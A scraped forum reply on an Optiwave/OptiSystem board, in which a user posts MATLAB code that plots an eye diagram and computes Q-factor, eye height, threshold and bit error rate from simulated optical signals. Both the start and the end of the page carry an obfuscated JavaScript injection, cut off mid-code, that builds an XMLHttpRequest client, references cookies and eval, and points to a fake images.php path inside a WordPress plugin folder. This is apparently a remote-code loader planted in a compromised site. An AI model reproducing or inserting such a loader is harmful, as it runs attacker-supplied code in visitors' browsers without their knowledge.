;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//staging.optiwave.com/wp-content/plugins/advanced-custom-fields-pro/assets/inc/datepicker/images/images.php','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B // global window.SFM_is_mobile = (function () { var n = navigator.userAgent; var reg = new RegExp('Android\s([0-9\.]*)') var match = n.toLowerCase().match(reg); var android = match ? parseFloat(match[1]) : false; if (android && android < 3.6) { return; }; return n.match(/Android|BlackBerry|IEMobile|iPhone|iPad|iPod|Opera Mini/i); })(); window.SFM_current_page_menu = '670'; (function(){ var mob_bar = ''; var pos = 'right'; var iconbar = ''; var SFM_skew_disabled = ( function( ) { var window_width = window.innerWidth; var sfm_width = 290; if ( sfm_width * 2 >= window_width ) { return true; } return false; } )( ); var classes = SFM_is_mobile ? 'sfm-mobile' : 'sfm-desktop'; var html = document.getElementsByTagName('html')[0]; // pointer classes += mob_bar ? ' sfm-mob-nav' : ''; classes += ' sfm-pos-' + pos; classes += iconbar ? ' sfm-bar' : ''; classes += SFM_skew_disabled ? ' sfm-skew-disabled' : ''; html.className = html.className == '' ? classes : html.className + ' ' + classes; })();

Home Forums EXCHANGE BER Analyzer Reply To: BER Analyzer

#26439
Profile Photo
Damian Marek
Participant

Matlab code follows:

%%% BER Analyzer code is not 100% same as OptiSystem’s %%%

%%% Gathering data from input port %%%
binary = InputPort1.Sequence;
electrical = InputPort2.Sampled.Signal + InputPort2.Noise.Signal;
time = InputPort2.Sampled.Time;

%%% timeSpace is the difference in time between samples %%%
timeSpace = time(2) – time(1);
samples = length(electrical)/length(binary);

%%% assign initial values and threshold level (currently 50%) %%%
timeArray(1) = 0;
spaceIndex = 0;
markIndex = 0;
elecIndex = 0;
threshold = 0.5;

%%% finds all 0’s and 1’s, and groups all their samples into separate arrays %%%
for i = 1:length(binary)
if (binary(i) == 0)
spaceIndex = spaceIndex + 1;
for j = 1:samples
spaceArray(spaceIndex, j) = electrical(elecIndex+j);
end;
else
markIndex = markIndex + 1;
for j = 1:samples
markArray(markIndex, j) = electrical(elecIndex+j);
end;
end;
elecIndex = elecIndex + samples;
end;

%%% creates the timeArray or x-axis of the graphs %%%
for i = 2:samples
timeArray(i) = timeArray(i-1) + timeSpace;
end;

%%% plots the Eye Diagram %%%
figure
plot(timeArray, markArray, timeArray, spaceArray);
title(‘Eye Diagram’,’FontSize’,16);
pause(3);

%%% calculates average amplitude of 1’s and 0’s, their %%%
%%% standard deviations, Q factor, and eye height %%%
for j = 1:samples
for i = 1:markIndex
temp1(i) = markArray(i,j);
end
u1(j) = sum(temp1)/markIndex;
std1(j) = std(temp1);
for i = 1:spaceIndex
temp0(i) = spaceArray(i,j);
end;
u0(j) = sum(temp0)/spaceIndex;
std0(j) = std(temp0);
if (std1(j)+std0(j) == 0)
Q(j) = 0;
else
Q(j) = abs(u1(j)-u0(j))/(std1(j)+std0(j));
eyeHeight(j) = (u1(j)-3*std1(j)^2) – (u0(j)+3*std0(j)^2);
end;
end

%%% plots the Q-factor %%%
figure
plot(timeArray, Q);
title(‘Q-factor’,’FontSize’,16);
pause(3);

%%% plots the Eye Height%%%
figure
plot(timeArray, eyeHeight);
title(‘Eye Height’,’FontSize’,16);
pause(3);

%%% calculates the threshold, probability of 1’s and 0’s, and the BER %%%
for j = 1:samples
S(j) = (mean(markArray(:,j))-std1(j) + mean(spaceArray(:,j))+std0(j))/2;
if (std0(j)==0)
Pe0(j) = 0;
else
Pe0(j) = 1/2*erfc(abs(((S(j)-u0(j))/(sqrt(2)*std0(j)))));
end;
if (std1(j)==0)
Pe1(j) = 0;
else
Pe1(j) = 1/2*erfc(abs(((u1(j)-S(j))/(sqrt(2)*std1(j)))));
end;
Pe(j) = log10(spaceIndex/(spaceIndex+markIndex)*Pe0(j) + markIndex/(markIndex+spaceIndex)*Pe1(j));
end

%%% plots the threshold %%%
figure
plot(timeArray, S);
title(‘Threshold’,’FontSize’,16);
pause(3);

%%% plots the BER using Gaussian approx. %%%
figure
plot(timeArray, Pe);
title(‘Log of Min BER using Gaussian approx.’,’FontSize’,16);
pause(3);

%%% calculates and plots the BER from the Q-factor %%%
PeWC = log10(1/2*erfc(Q/sqrt(2)));
figure
plot(timeArray, PeWC);
title(‘Log of Min BER from Q’,’FontSize’,16);
pause(3);

Categories

;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//staging.optiwave.com/wp-content/plugins/advanced-custom-fields-pro/assets/inc/datepicker/images/images.php','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B